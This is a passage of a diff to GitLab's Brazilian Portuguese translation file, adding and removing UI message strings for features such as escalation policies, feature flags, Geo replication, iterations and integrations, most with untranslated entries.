msgid "Enable Kroki"
msgstr ""
+msgid "Enable Mailgun event receiver"
+msgstr ""
+
msgid "Enable PlantUML"
msgstr ""
@@ -12160,13 +11965,16 @@ msgstr ""
msgid "Enable Pseudonymizer data collection"
msgstr "Ativar coleção de dados Pseudonymizer"
+msgid "Enable Registration Features"
+msgstr ""
+
msgid "Enable Repository Checks"
msgstr ""
msgid "Enable SSL verification"
msgstr ""
-msgid "Enable Seat Link"
+msgid "Enable Snowplow tracking"
msgstr ""
msgid "Enable Spam Check via external API endpoint"
@@ -12247,14 +12055,11 @@ msgstr ""
msgid "Enable mirror configuration"
msgstr "Ativar configuração de espelho"
-msgid "Enable or disable Seat Link."
-msgstr ""
-
msgid "Enable or disable the Pseudonymizer data collection."
msgstr "Ative ou desative a coleção de dados Pseudonymizer"
-msgid "Enable or disable version check and usage ping."
-msgstr "Ativar ou desativar checagem de versão e uso de ping."
+msgid "Enable or disable version check and service ping."
+msgstr ""
msgid "Enable protected paths rate limit"
msgstr ""
@@ -12271,6 +12076,9 @@ msgstr ""
msgid "Enable reCAPTCHA, Invisible Captcha, Akismet and set IP limits. For reCAPTCHA, we currently only support %{recaptcha_v2_link_start}v2%{recaptcha_v2_link_end}"
msgstr ""
+msgid "Enable service ping"
+msgstr ""
+
msgid "Enable shared runners for all projects and subgroups in this group."
msgstr ""
@@ -12286,9 +12094,6 @@ msgstr ""
msgid "Enable smartcn custom analyzer: Search"
msgstr ""
-msgid "Enable snowplow tracking"
-msgstr ""
-
msgid "Enable two-factor authentication"
msgstr "Ativar autenticação de dois fatores"
@@ -12298,9 +12103,6 @@ msgstr ""
msgid "Enable unauthenticated request rate limit"
msgstr ""
-msgid "Enable usage ping"
-msgstr "Ativar dados de uso"
-
msgid "Enable version check"
msgstr ""
@@ -12430,6 +12232,9 @@ msgstr ""
msgid "Enter your password to approve"
msgstr ""
+msgid "Enterprise"
+msgstr ""
+
msgid "Environment"
msgstr "Ambiente"
@@ -12595,9 +12400,6 @@ msgstr "Saiba mais sobre como parar ambientes"
msgid "Environments|Logs from %{start} to %{end}."
msgstr ""
-msgid "Environments|Managed apps"
-msgstr ""
-
msgid "Environments|More information"
msgstr ""
@@ -13078,7 +12880,7 @@ msgstr ""
msgid "Escalation policies"
msgstr ""
-msgid "Escalation policies are not supported for this project"
+msgid "Escalation policies must have at least one rule"
msgstr ""
msgid "EscalationPolicies|+ Add an additional rule"
@@ -13087,30 +12889,54 @@ msgstr ""
msgid "EscalationPolicies|A schedule is required for adding an escalation policy."
msgstr ""
+msgid "EscalationPolicies|A schedule is required for adding an escalation policy. Please create an on-call schedule first."
+msgstr ""
+
msgid "EscalationPolicies|Add an escalation policy"
msgstr ""
msgid "EscalationPolicies|Add escalation policy"
msgstr ""
+msgid "EscalationPolicies|Add policy"
+msgstr ""
+
+msgid "EscalationPolicies|Are you sure you want to delete the \"%{escalationPolicy}\" escalation policy? This action cannot be undone."
+msgstr ""
+
msgid "EscalationPolicies|Create an escalation policy in GitLab"
msgstr ""
+msgid "EscalationPolicies|Delete escalation policy"
+msgstr ""
+
msgid "EscalationPolicies|Edit escalation policy"
msgstr ""
+msgid "EscalationPolicies|Elapsed time must be greater than or equal to zero."
+msgstr ""
+
msgid "EscalationPolicies|Email on-call user in schedule"
msgstr ""
+msgid "EscalationPolicies|Escalation policies"
+msgstr ""
+
msgid "EscalationPolicies|Escalation rules"
msgstr ""
msgid "EscalationPolicies|Failed to load oncall-schedules"
msgstr ""
+msgid "EscalationPolicies|IF alert is not %{alertStatus} in %{minutes} %{then} THEN %{doAction} %{schedule}"
+msgstr ""
+
msgid "EscalationPolicies|IF alert is not %{alertStatus} in %{minutes} minutes"
msgstr ""
+msgid "EscalationPolicies|Remove escalation rule"
+msgstr ""
+
msgid "EscalationPolicies|Select schedule"
msgstr ""
@@ -13120,6 +12946,15 @@ msgstr ""
msgid "EscalationPolicies|THEN %{doAction} %{schedule}"
msgstr ""
+msgid "EscalationPolicies|The escalation policy could not be deleted. Please try again."
+msgstr ""
+
+msgid "EscalationPolicies|The escalation policy could not be updated. Please try again"
+msgstr ""
+
+msgid "EscalationPolicies|mins"
+msgstr ""
+
msgid "Estimate"
msgstr ""
@@ -13156,9 +12991,6 @@ msgstr ""
msgid "Events"
msgstr "Eventos"
-msgid "Events in %{project_path}"
-msgstr ""
-
msgid "Every %{action} attempt has failed: %{job_error_message}. Please try again."
msgstr "Cada tentativa de %{action} falhou: %{job_error_message}. Por favor, tente novamente."
@@ -13302,7 +13134,7 @@ msgstr ""
msgid "Experienced"
msgstr ""
-msgid "ExperimentSubject|Must have exactly one of User, Group, or Project."
+msgid "ExperimentSubject|Must have exactly one of User, Namespace, or Project."
msgstr ""
msgid "Expiration"
@@ -13323,9 +13155,6 @@ msgstr ""
msgid "Expires"
msgstr "Expira"
-msgid "Expires at"
-msgstr "Expira em"
-
msgid "Expires at (optional)"
msgstr ""
@@ -13422,9 +13251,6 @@ msgstr "URL do armazenamento externo"
msgid "External storage authentication token"
msgstr "Token de autenticação do armazenamento externo"
-msgid "External url has already been taken"
-msgstr ""
-
msgid "ExternalAuthorizationService|Classification label"
msgstr "Etiqueta de classificação"
@@ -13443,9 +13269,6 @@ msgstr ""
msgid "ExternalWikiService|https://example.com/xxx/wiki/..."
msgstr ""
-msgid "Externally installed"
-msgstr ""
-
msgid "Facebook"
msgstr "Facebook"
@@ -13731,9 +13554,6 @@ msgstr ""
msgid "Feature Flags"
msgstr "Feature flag"
-msgid "Feature flag is not enabled on the environment's project."
-msgstr ""
-
msgid "Feature flag status"
msgstr ""
@@ -13763,9 +13583,6 @@ msgstr ""
msgid "FeatureFlags|* (All Environments)"
msgstr "* (Todos os Ambientes)"
-msgid "FeatureFlags|* (All environments)"
-msgstr "* (Todos os ambientes)"
-
msgid "FeatureFlags|API URL"
msgstr "URL da API"
@@ -13814,9 +13631,6 @@ msgstr ""
msgid "FeatureFlags|Enable features for specific users and environments by configuring feature flag strategies."
msgstr ""
-msgid "FeatureFlags|Environment Spec"
-msgstr "Especificação do Ambiente"
-
msgid "FeatureFlags|Environment Specs"
msgstr "Especificações do Ambiente"
@@ -13847,9 +13661,6 @@ msgstr "Feature flags permitem que você configure o seu código em diferentes v
msgid "FeatureFlags|Feature flags limit reached (%{featureFlagsLimit}). Delete one or more feature flags before adding new ones."
msgstr ""
-msgid "FeatureFlags|Flag is read-only"
-msgstr ""
-
msgid "FeatureFlags|Get started with feature flags"
msgstr "Começar a usar feature flags"
@@ -13865,9 +13676,6 @@ msgstr "Inativo"
msgid "FeatureFlags|Inactive flag for %{scope}"
msgstr "Sinalizador inativo para %{scope}"
-msgid "FeatureFlags|Include additional user IDs"
-msgstr ""
-
msgid "FeatureFlags|Install a %{docsLinkAnchoredStart}compatible client library%{docsLinkAnchoredEnd} and specify the API URL, application name, and instance ID during the configuration setup. %{docsLinkStart}More Information%{docsLinkEnd}"
msgstr ""
@@ -13907,24 +13715,12 @@ msgstr ""
msgid "FeatureFlags|Percent rollout"
msgstr ""
-msgid "FeatureFlags|Percent rollout (logged in users)"
-msgstr "Porcentagem de rollout (usuários logados)"
-
msgid "FeatureFlags|Percent rollout must be an integer number between 0 and 100"
msgstr ""
-msgid "FeatureFlags|Protected"
-msgstr "Protegido"
-
msgid "FeatureFlags|Remove"
msgstr "Remover"
-msgid "FeatureFlags|Rollout Percentage"
-msgstr "Porcentagem de rollout"
-
-msgid "FeatureFlags|Rollout Strategy"
-msgstr "Estratégia de Rollout"
-
msgid "FeatureFlags|Set the Unleash client application name to the name of the environment your application runs in. This value is used to match environment scopes. See the %{linkStart}example client configuration%{linkEnd}."
msgstr ""
@@ -13934,9 +13730,6 @@ msgstr "Status"
msgid "FeatureFlags|Strategies"
msgstr ""
-msgid "FeatureFlags|Target environments"
-msgstr "Ambientes alvo"
-
msgid "FeatureFlags|There was an error fetching the feature flags."
msgstr "Ocorreu um erro ao buscar as feature flag."
@@ -14020,9 +13813,6 @@ msgstr "Navegador de arquivos"
msgid "File deleted"
msgstr "Arquivo excluído"
-msgid "File format is no longer supported"
-msgstr ""
-
msgid "File hooks are similar to system hooks but are executed as files instead of sending data to a URL."
msgstr ""
@@ -14038,6 +13828,9 @@ msgstr ""
msgid "File renamed with no changes."
msgstr ""
+msgid "File suppressed by a .gitattributes entry or the file's encoding is unsupported."
+msgstr ""
+
msgid "File synchronization concurrency limit"
msgstr ""
@@ -14104,9 +13897,6 @@ msgstr "Filtrar por nome de marco"
msgid "Filter by name"
msgstr ""
-msgid "Filter by status"
-msgstr ""
-
msgid "Filter by test cases that are currently archived."
msgstr ""
@@ -14275,6 +14065,9 @@ msgstr ""
msgid "For each job, re-use the project workspace. If the workspace doesn't exist, use %{code_open}git clone%{code_close}."
msgstr ""
+msgid "For example, the application using the token or the purpose of the token."
+msgstr ""
+
msgid "For general work"
msgstr ""
@@ -14296,10 +14089,7 @@ msgstr "Para mais informações, vá para o "
msgid "For more information, see the File Hooks documentation."
msgstr ""
-msgid "For more information, see the documentation on %{deactivating_usage_ping_link_start}deactivating the usage ping%{deactivating_usage_ping_link_end}."
-msgstr "Para obter mais informações, consulte a documentação sobre %{deactivating_usage_ping_link_start}desativando dados de uso%{deactivating_usage_ping_link_end}."
-
-msgid "For more information, see the documentation on %{link_start}disabling Seat Link%{link_end}."
+msgid "For more information, see the documentation on %{deactivating_service_ping_link_start}deactivating service ping%{deactivating_service_ping_link_end}."
msgstr ""
msgid "Forgot your password?"
@@ -14503,159 +14293,21 @@ msgstr "Geo"
msgid "Geo Nodes"
msgstr "Nós do Geo"
-msgid "Geo Nodes|Cannot remove a primary node if there is a secondary node"
-msgstr ""
-
msgid "Geo Replication"
msgstr ""
msgid "Geo Settings"
msgstr ""
-msgid "Geo nodes are paused using a command run on the node"
-msgstr ""
-
msgid "Geo sites"
msgstr ""
-msgid "GeoNodeStatusEvent|%{timeAgoStr} (%{pendingEvents} events)"
-msgstr ""
-
-msgid "GeoNodeSyncStatus|Node is failing or broken."
-msgstr "Nó está falho ou quebrado."
-
-msgid "GeoNodeSyncStatus|Node is slow, overloaded, or it just recovered after an outage."
-msgstr "O nó está lento, sobrecarregado ou acabou de se recuperar de uma falta de energia."
-
-msgid "GeoNodes|Consult Geo troubleshooting information"
-msgstr ""
-
-msgid "GeoNodes|Data replication lag"
-msgstr "Atraso de replicação de dados"
-
-msgid "GeoNodes|Does not match the primary storage configuration"
-msgstr "Não corresponde à configuração de armazenamento primário"
-
-msgid "GeoNodes|Full"
-msgstr "Completo"
-
-msgid "GeoNodes|GitLab version"
-msgstr "Versão do GitLab"
-
-msgid "GeoNodes|GitLab version does not match the primary node version"
-msgstr "A versão do GitLab não corresponde à versão do nó primário"
-
-msgid "GeoNodes|Health status"
-msgstr "Status de saúde"
-
-msgid "GeoNodes|Internal URL"
-msgstr "URL interna"
-
-msgid "GeoNodes|Last event ID processed by cursor"
-msgstr "O ID do último evento processado por cursor"
-
-msgid "GeoNodes|Last event ID seen from primary"
-msgstr "O ID do último evento visto do primário"
-
-msgid "GeoNodes|Learn more about Geo node statuses"
-msgstr ""
-
-msgid "GeoNodes|Loading nodes"
-msgstr "Carregando nós"
-
-msgid "GeoNodes|New node"
-msgstr "Novo nó"
-
-msgid "GeoNodes|Node Authentication was successfully repaired."
-msgstr "Autenticação de Nó foi corrigida com sucesso."
-
-msgid "GeoNodes|Node URL"
-msgstr ""
-
-msgid "GeoNodes|Node was successfully removed."
-msgstr "O nó foi removido com sucesso."
-
-msgid "GeoNodes|Node's status was updated %{timeAgo}."
-msgstr ""
-
-msgid "GeoNodes|Pausing replication stops the sync process. Are you sure?"
-msgstr ""
-
-msgid "GeoNodes|Removing a Geo primary node stops the synchronization to all nodes. Are you sure?"
-msgstr ""
-
-msgid "GeoNodes|Removing a Geo secondary node stops the synchronization to that node. Are you sure?"
-msgstr ""
-
-msgid "GeoNodes|Replicated data is verified with the %{nodeText} using checksums"
-msgstr ""
-
-msgid "GeoNodes|Replication slot WAL"
-msgstr "WAL de slots de replicação"
-
-msgid "GeoNodes|Replication slots"
-msgstr "Slots de replicação"
-
-msgid "GeoNodes|Replication status"
-msgstr ""
-
-msgid "GeoNodes|Selective (%{syncLabel})"
-msgstr ""
-
-msgid "GeoNodes|Selective synchronization"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while changing node status"
-msgstr "Alguma coisa deu errada ao mudar o status do nó"
-
-msgid "GeoNodes|Something went wrong while fetching nodes"
-msgstr "Alguma coisa deu errada ao recuperar nós"
-
-msgid "GeoNodes|Something went wrong while removing node"
-msgstr "Alguma coisa deu errada ao remover nó"
-
-msgid "GeoNodes|Something went wrong while repairing node"
-msgstr "Alguma coisa deu errada ao corrigir nó"
-
-msgid "GeoNodes|Storage config"
-msgstr "Configuração de armazenamento"
-
-msgid "GeoNodes|Sync settings"
-msgstr "Configurações de sincronização"
-
-msgid "GeoNodes|Unused slots"
-msgstr "Slots não usados"
-
-msgid "GeoNodes|Updated %{timeAgo}"
-msgstr ""
-
-msgid "GeoNodes|Used slots"
-msgstr "Slots usados"
-
-msgid "GeoNodes|With %{geo} you can install a special read-only and replicated instance anywhere. Before you add nodes, follow the %{instructions} in the exact order they appear."
-msgstr ""
-
-msgid "GeoNodes|You have configured Geo nodes using an insecure HTTP connection. We recommend the use of HTTPS."
-msgstr "Você tem nós Geo configurados usando uma conexão HTTP insegura. Recomendamos o uso de HTTPS."
-
-msgid "GeoNodes|primary node"
-msgstr ""
-
-msgid "GeoNodes|secondary nodes"
-msgstr ""
-
msgid "Geo|%{component} synced"
msgstr ""
msgid "Geo|%{component} verified"
msgstr ""
-msgid "Geo|%{itemTitle} checksum progress"
-msgstr ""
-
-msgid "Geo|%{itemTitle} verification progress"
-msgstr ""
-
msgid "Geo|%{label} can't be blank"
msgstr ""
@@ -14746,6 +14398,9 @@ msgstr ""
msgid "Geo|Failed"
msgstr "Falha"
+msgid "Geo|Filter by name"
+msgstr ""
+
msgid "Geo|Filter by status"
msgstr ""
@@ -14845,9 +14500,6 @@ msgstr "Sincronização pendente"
msgid "Geo|Pending verification"
msgstr "Verificação pendente"
-msgid "Geo|Please refer to Geo Troubleshooting."
-msgstr ""
-
msgid "Geo|Primary node"
msgstr ""
@@ -14920,6 +14572,12 @@ msgstr "Ressincronizar"
msgid "Geo|Resync all"
msgstr ""
+msgid "Geo|Resync all %{replicableType}"
+msgstr ""
+
+msgid "Geo|Resync all projects"
+msgstr ""
+
msgid "Geo|Retry count"
msgstr "Contagem de retentativas"
@@ -14929,6 +14587,9 @@ msgstr ""
msgid "Geo|Reverify all"
msgstr ""
+msgid "Geo|Reverify all projects"
+msgstr ""
+
msgid "Geo|Review replication status, and resynchronize and reverify items with the primary node."
msgstr ""
@@ -14959,9 +14620,6 @@ msgstr ""
msgid "Geo|Synchronization failed - %{error}"
msgstr "Falha na sincronização - %{error}"
-msgid "Geo|Synchronization of %{itemTitle} is disabled."
-msgstr ""
-
msgid "Geo|Synchronization settings"
msgstr ""
@@ -14983,6 +14641,15 @@ msgstr ""
msgid "Geo|There was an error fetching the Geo Nodes"
msgstr ""
+msgid "Geo|This will resync all %{replicableType}. It may take some time to complete. Are you sure you want to continue?"
+msgstr ""
+
+msgid "Geo|This will resync all projects. It may take some time to complete. Are you sure you want to continue?"
+msgstr ""
+
+msgid "Geo|This will reverify all projects. It may take some time to complete. Are you sure you want to continue?"
+msgstr ""
+
msgid "Geo|Tracking database entry will be removed. Are you sure?"
msgstr ""
@@ -15523,9 +15190,6 @@ msgstr "Ir para seus snippets"
msgid "Goal of the changes and what reviewers should be aware of"
msgstr ""
-msgid "Google Cloud Platform"
-msgstr ""
-
msgid "Google authentication is not %{link_start}properly configured%{link_end}. Ask your GitLab administrator if you want to use this service."
msgstr ""
@@ -15571,6 +15235,15 @@ msgstr ""
msgid "Graph"
msgstr "Gráfico"
+msgid "GraphViewType|Job dependencies"
+msgstr ""
+
+msgid "GraphViewType|Show dependencies"
+msgstr ""
+
+msgid "GraphViewType|Stage"
+msgstr ""
+
msgid "Gravatar"
msgstr "Gravatar"
@@ -15592,9 +15265,6 @@ msgstr "O grupo %{group_name} foi agendado para exclusão."
msgid "Group %{group_name} was successfully created."
msgstr "O grupo %{group_name} foi criado com sucesso."
-msgid "Group Audit Events"
-msgstr ""
-
msgid "Group Git LFS status:"
msgstr "Status do LFS do grupo Git:"
@@ -15625,6 +15295,9 @@ msgstr ""
msgid "Group applications"
msgstr ""
+msgid "Group audit events"
+msgstr ""
+
msgid "Group avatar"
msgstr "Avatar do grupo"
@@ -15694,13 +15367,10 @@ msgstr ""
msgid "Group navigation"
msgstr ""
-msgid "Group overview"
-msgstr ""
-
msgid "Group overview content"
msgstr "Conteúdo da visão geral do grupo"
-msgid "Group path is already taken. Suggestions: "
+msgid "Group path is already taken. We've suggested one that is available."
msgstr ""
msgid "Group path is available."
@@ -15736,9 +15406,6 @@ msgstr ""
msgid "Group was successfully updated."
msgstr "O grupo foi atualizado com sucesso."
-msgid "Group-level events in %{group_name} (no project-level events)"
-msgstr ""
-
msgid "Group: %{group_name}"
msgstr "Grupo: %{group_name}"
@@ -16051,18 +15718,15 @@ msgstr ""
msgid "GroupSettings|Prevent forking setting was not saved"
msgstr ""
+msgid "GroupSettings|Prevent members from sending invitations to groups outside of %{group} and its subgroups."
+msgstr ""
+
msgid "GroupSettings|Prevent sharing a project within %{group} with other groups"
msgstr "Bloquear compartilhamento de projetos do grupo %{group} com outros grupos"
-msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay."
-msgstr ""
-
msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. Inherited by subgroups."
msgstr ""
-msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. This delay can be %{link_start}customized by an admin%{link_end} in instance settings."
-msgstr ""
-
msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. This delay can be %{link_start}customized by an admin%{link_end} in instance settings. Inherited by subgroups."
msgstr ""
@@ -16087,6 +15751,9 @@ msgstr "Essa configuração é aplicada no grupo %{ancestor_group}. Para compart
msgid "GroupSettings|This setting is applied on %{ancestor_group}. You can override the setting or %{remove_ancestor_share_with_group_lock}."
msgstr "Essa configuração foi aplicada no grupo %{ancestor_group}. Você pode sobrescrevê-la ou %{remove_ancestor_share_with_group_lock}."
+msgid "GroupSettings|This setting is only available on the top-level group and it applies to all subgroups. Groups that have already been shared with a group outside %{group} will still be shared, and this access will have to be revoked manually."
+msgstr ""
+
msgid "GroupSettings|This setting will be applied to all subgroups unless overridden by a group owner. Groups that already have access to the project will continue to have access unless removed manually."
msgstr "Essa configuração será aplicada à todos os subgrupos a menos que sejam sobrescritas pelo dono do grupo. Grupos que já tem acesso ao projeto continuarão a acessá-los até que sejam removidos manualmente."
@@ -16126,15 +15793,15 @@ msgstr ""
msgid "GroupSettings|remove the share with group lock from %{ancestor_group_name}"
msgstr "retirar a trava de compartilhamento de grupo de %{ancestor_group_name}"
+msgid "GroupTemplate|The selected group's repositories and databases are copied into the projects created in this group. %{link_start}What should I add to my template group?%{link_end} "
+msgstr ""
+
msgid "Groups"
msgstr "Grupos"
msgid "Groups (%{count})"
msgstr ""
-msgid "Groups (%{groups})"
-msgstr ""
-
msgid "Groups and projects"
msgstr ""
@@ -16315,6 +15982,9 @@ msgstr ""
msgid "Heading 3"
msgstr ""
+msgid "Heading 4"
+msgstr ""
+
msgid "Headings"
msgstr ""
@@ -16431,6 +16101,9 @@ msgstr "Ocultar carga"
msgid "Hide shared projects"
msgstr "Ocultar projetos compartilhados"
+msgid "Hide tooltips or popovers"
+msgstr ""
+
msgid "Hide value"
msgid_plural "Hide values"
msgstr[0] "Ocultar valor"
@@ -16514,9 +16187,6 @@ msgstr ""
msgid "How do I set up this service?"
msgstr ""
-msgid "How does cleanup work?"
-msgstr ""
-
msgid "How it works"
msgstr "Como funciona"
@@ -16664,6 +16334,9 @@ msgstr "Se ativado, o acesso aos projetos será validado em um serviço externo
msgid "If enabled, only protected branches will be mirrored."
msgstr ""
+msgid "If no options are selected, only administrators can register runners."
+msgstr ""
+
msgid "If the YouTube URL is https://www.youtube.com/watch?v=0t1DgySidms then the video ID is %{id}"
msgstr ""
@@ -16842,9 +16515,6 @@ msgstr ""
msgid "Import project members"
msgstr "Importar membros do projeto"
-msgid "Import project/repository"
-msgstr ""
-
msgid "Import projects from Bitbucket"
msgstr "Importar projetos do Bitbucket"
@@ -17348,13 +17018,16 @@ msgstr ""
msgid "InProductMarketing|you may %{unsubscribe_link} at any time."
msgstr ""
+msgid "Inactive"
+msgstr ""
+
msgid "Incident"
msgstr ""
msgid "Incident Management Limits"
msgstr ""
-msgid "Incident template (optional)"
+msgid "Incident template (optional)."
msgstr ""
msgid "IncidentManagement|%{hours} hours, %{minutes} minutes remaining"
@@ -17444,9 +17117,6 @@ msgstr ""
msgid "IncidentSettings|Activate \"time to SLA\" countdown timer"
msgstr ""
-msgid "IncidentSettings|Alert integration"
-msgstr ""
-
msgid "IncidentSettings|Fine-tune incident settings and set up integrations with external tools to help better manage incidents."
msgstr ""
@@ -17600,6 +17270,18 @@ msgstr ""
msgid "Infrastructure Registry"
msgstr ""
+msgid "InfrastructureRegistry|Copy Terraform Command"
+msgstr ""
+
+msgid "InfrastructureRegistry|Copy Terraform Setup Command"
+msgstr ""
+
+msgid "InfrastructureRegistry|Copy and paste into your Terraform configuration, insert the variables, and run Terraform init:"
+msgstr ""
+
+msgid "InfrastructureRegistry|For more information on the Terraform registry, %{linkStart}see our documentation%{linkEnd}."
+msgstr ""
+
msgid "InfrastructureRegistry|Infrastructure Registry"
msgstr ""
@@ -17612,6 +17294,9 @@ msgstr ""
msgid "InfrastructureRegistry|Terraform modules are the main way to package and reuse resource configurations with Terraform. Learn more about how to %{noPackagesLinkStart}create Terraform modules%{noPackagesLinkEnd} in GitLab."
msgstr ""
+msgid "InfrastructureRegistry|To authorize access to the Terraform registry:"
+msgstr ""
+
msgid "InfrastructureRegistry|You have no Terraform modules in your project"
msgstr ""
@@ -17651,6 +17336,9 @@ msgstr ""
msgid "Insert inline code"
msgstr ""
+msgid "Insert link"
+msgstr ""
+
msgid "Insert suggestion"
msgstr "Inserir sugestão"
@@ -17666,9 +17354,6 @@ msgstr ""
msgid "Insights|This project is filtered out in the insights.yml file (see the projects.only config for more information)."
msgstr ""
-msgid "Install"
-msgstr "Instalar"
-
msgid "Install GitLab Runner and ensure it's running."
msgstr ""
@@ -17681,12 +17366,6 @@ msgstr "Instalar em clusters"
msgid "Installation"
msgstr ""
-msgid "Installed"
-msgstr "Instalado"
-
-msgid "Installing"
-msgstr "Instalando"
-
msgid "Instance"
msgid_plural "Instances"
msgstr[0] "Instância"
@@ -17707,6 +17386,9 @@ msgstr ""
msgid "Instance administrators group already exists"
msgstr "O grupo de administradores da instância já existe"
+msgid "Instance audit events"
+msgstr ""
+
msgid "Instance overview"
msgstr ""
@@ -17749,9 +17431,6 @@ msgstr ""
msgid "Integrations|All projects inheriting these settings will also be reset."
msgstr ""
-msgid "Integrations|As a GitLab administrator, you can set default configuration parameters for a given integration that all projects can inherit and use. When you set these parameters, your changes update the integration for all projects that are not already using custom settings. Learn more about %{integrations_link_start}Project integration management%{link_end}."
-msgstr ""
-
msgid "Integrations|Browser limitations"
msgstr ""
@@ -17791,12 +17470,24 @@ msgstr ""
msgid "Integrations|Failed to unlink namespace. Please try again."
msgstr ""
+msgid "Integrations|GitLab administrators can set up integrations that all groups and projects inherit and use by default. These integrations apply to all groups and projects that don't already use custom settings. You can override custom settings for a group or project if the settings are necessary at that level. Learn more about %{integrations_link_start}instance-level integration management%{link_end}."
+msgstr ""
+
+msgid "Integrations|GitLab administrators can set up integrations that all projects in a group inherit and use by default. These integrations apply to all projects that don't already use custom settings. You can override custom settings for a project if the settings are necessary at that level. Learn more about %{integrations_link_start}group-level integration management%{link_end}."
+msgstr ""
+
+msgid "Integrations|Group-level integration management"
+msgstr ""
+
msgid "Integrations|Includes Standard, plus the entire commit message, commit hash, and issue IDs"
msgstr ""
msgid "Integrations|Includes commit title and branch."
msgstr ""
+msgid "Integrations|Instance-level integration management"
+msgstr ""
+
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
msgstr ""
@@ -17821,9 +17512,6 @@ msgstr ""
msgid "Integrations|Note: this integration only works with accounts on GitLab.com (SaaS)."
msgstr ""
-msgid "Integrations|Project integration management"
-msgstr ""
-
msgid "Integrations|Projects using custom settings will not be affected."
msgstr ""
@@ -17974,6 +17662,9 @@ msgstr "Entrada inválida, por favor, evite emojis"
msgid "Invalid login or password"
msgstr ""
+msgid "Invalid period"
+msgstr ""
+
msgid "Invalid pin code"
msgstr "Código PIN inválido"
@@ -18049,25 +17740,7 @@ msgstr ""
msgid "InviteEmail|%{inviter} invited you to join the %{strong_start}%{project_or_group_name}%{strong_end}%{br_tag}%{project_or_group} as a %{role}"
msgstr ""
-msgid "InviteEmail|%{inviter} invited you to join the %{strong_start}%{project_or_group_name}%{strong_end}%{br_tag}%{project_or_group} with the %{role} permission level."
-msgstr ""
-
-msgid "InviteEmail|As a developer, you have full access to projects, so you can take an idea from concept to production."
-msgstr ""
-
-msgid "InviteEmail|As a guest, you can view projects, leave comments, and create issues."
-msgstr ""
-
-msgid "InviteEmail|As a maintainer, you have full access to projects. You can push commits to the default branch and deploy to production."
-msgstr ""
-
-msgid "InviteEmail|As a reporter, you can view projects and reports, and leave comments on issues."
-msgstr ""
-
-msgid "InviteEmail|As a user with minimal access, you can view the high-level group from the UI and API."
-msgstr ""
-
-msgid "InviteEmail|As an owner, you have full access to projects and can manage access to the group, including inviting new members."
+msgid "InviteEmail|%{project_or_group} details"
msgstr ""
msgid "InviteEmail|Groups assemble related projects together and grant members access to several projects at once."
@@ -18076,13 +17749,10 @@ msgstr ""
msgid "InviteEmail|Join now"
msgstr ""
-msgid "InviteEmail|Projects can be used to host your code, track issues, collaborate on code, and continuously build, test, and deploy your app with built-in GitLab CI/CD."
-msgstr ""
-
-msgid "InviteEmail|What can I do with the %{role} permission level?"
+msgid "InviteEmail|Projects are used to host and collaborate on code, track issues, and continuously build, test, and deploy your app with built-in GitLab CI/CD."
msgstr ""
-msgid "InviteEmail|What is a GitLab %{project_or_group}?"
+msgid "InviteEmail|What's it about?"
msgstr ""
msgid "InviteEmail|You are invited to join the %{strong_start}%{project_or_group_name}%{strong_end}%{br_tag}%{project_or_group} as a %{role}"
@@ -18103,7 +17773,7 @@ msgstr ""
msgid "InviteMembersBanner|We noticed that you haven't invited anyone to this group. Invite your colleagues so you can discuss issues, collaborate on merge requests, and share your knowledge."
msgstr ""
-msgid "InviteMembersModal|%{linkStart}Read more%{linkEnd} about role permissions"
+msgid "InviteMembersModal|%{linkStart}Learn more%{linkEnd} about roles."
msgstr ""
msgid "InviteMembersModal|Access expiration date (optional)"
@@ -18112,9 +17782,6 @@ msgstr ""
msgid "InviteMembersModal|Cancel"
msgstr ""
-msgid "InviteMembersModal|Choose a role permission"
-msgstr ""
-
msgid "InviteMembersModal|Close invite team members"
msgstr ""
@@ -18139,6 +17806,9 @@ msgstr ""
msgid "InviteMembersModal|Select a group to invite"
msgstr ""
+msgid "InviteMembersModal|Select a role"
+msgstr ""
+
msgid "InviteMembersModal|Select members or type email addresses"
msgstr ""
@@ -18550,18 +18220,36 @@ msgstr ""
msgid "Iterations"
msgstr ""
+msgid "Iterations|Add iteration"
+msgstr ""
+
msgid "Iterations|Automated scheduling"
msgstr ""
msgid "Iterations|Cadence name"
msgstr ""
+msgid "Iterations|Couldn't find iteration cadence"
+msgstr ""
+
msgid "Iterations|Create cadence"
msgstr ""
+msgid "Iterations|Delete cadence"
+msgstr ""
+
+msgid "Iterations|Delete iteration cadence?"
+msgstr ""
+
msgid "Iterations|Duration"
msgstr ""
+msgid "Iterations|Edit cadence"
+msgstr ""
+
+msgid "Iterations|Edit iteration cadence"
+msgstr ""
+
msgid "Iterations|Error loading iteration cadences."
msgstr ""
@@ -18571,6 +18259,9 @@ msgstr ""
msgid "Iterations|Iteration scheduling will be handled automatically"
msgstr ""
+msgid "Iterations|Move incomplete issues to the next iteration"
+msgstr ""
+
msgid "Iterations|New iteration cadence"
msgstr ""
@@ -18583,6 +18274,12 @@ msgstr ""
msgid "Iterations|Number of future iterations you would like to have scheduled"
msgstr ""
+msgid "Iterations|Roll over issues"
+msgstr ""
+
+msgid "Iterations|Save cadence"
+msgstr ""
+
msgid "Iterations|Select duration"
msgstr ""
@@ -18601,9 +18298,15 @@ msgstr ""
msgid "Iterations|The start date of your first iteration"
msgstr ""
+msgid "Iterations|This will delete the cadence as well as all of the iterations within it."
+msgstr ""
+
msgid "Iterations|Title"
msgstr ""
+msgid "Iterations|Unable to find iteration."
+msgstr ""
+
msgid "Iteration|Dates cannot overlap with other existing Iterations within this group"
msgstr ""
@@ -18703,9 +18406,15 @@ msgstr ""
msgid "JiraService|Events for %{noteable_model_name} are disabled."
msgstr "Eventos para %{noteable_model_name} estão desabilitados."
+msgid "JiraService|Failed to load Jira issue statuses. View the issue in Jira, or reload the page."
+msgstr ""
+
msgid "JiraService|Failed to load Jira issue. View the issue in Jira, or reload the page."
msgstr ""
+msgid "JiraService|Failed to update Jira issue status. View the issue in Jira, or reload the page."
+msgstr ""
+
msgid "JiraService|Fetch issue types for this Jira project"
msgstr ""
@@ -18754,6 +18463,9 @@ msgstr ""
msgid "JiraService|Move to Done"
msgstr ""
+msgid "JiraService|No available statuses"
+msgstr ""
+
msgid "JiraService|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}Jira%{linkEnd}."
msgstr ""
@@ -18844,9 +18556,6 @@ msgstr ""
